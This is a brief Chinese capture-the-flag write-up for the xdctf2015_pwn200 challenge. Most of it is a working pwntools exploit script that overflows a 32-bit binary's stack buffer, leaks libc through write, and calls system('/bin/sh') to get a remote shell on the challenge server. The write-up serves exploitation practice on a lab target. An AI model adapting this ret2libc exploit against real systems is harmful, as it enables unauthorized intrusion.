xdctf2015_pwn200

1，三连
思路：猜测是溢出题。
依据：./bof的执行为见堆malloc特征，虽然未出现segment fault，可能是输入数量不够。

2，动态测试偏移
偏移：112
3，IDA分析寻找利用点
思路：write泄露libc,ret2libc类型。套模板即可。

4，payload

from pwn  import *
context.log_level="debug"

#start 
r = remote("node4.buuoj.cn",25646)
# r = process("./bof")
elf = ELF("./bof")
libc = ELF("./libc-2.23.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = 'M'*(0x6c+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.recv()
r.sendline(payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = 'M'*(0x6c+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.recv()
r.sendline(payload)

r.interactive()

完。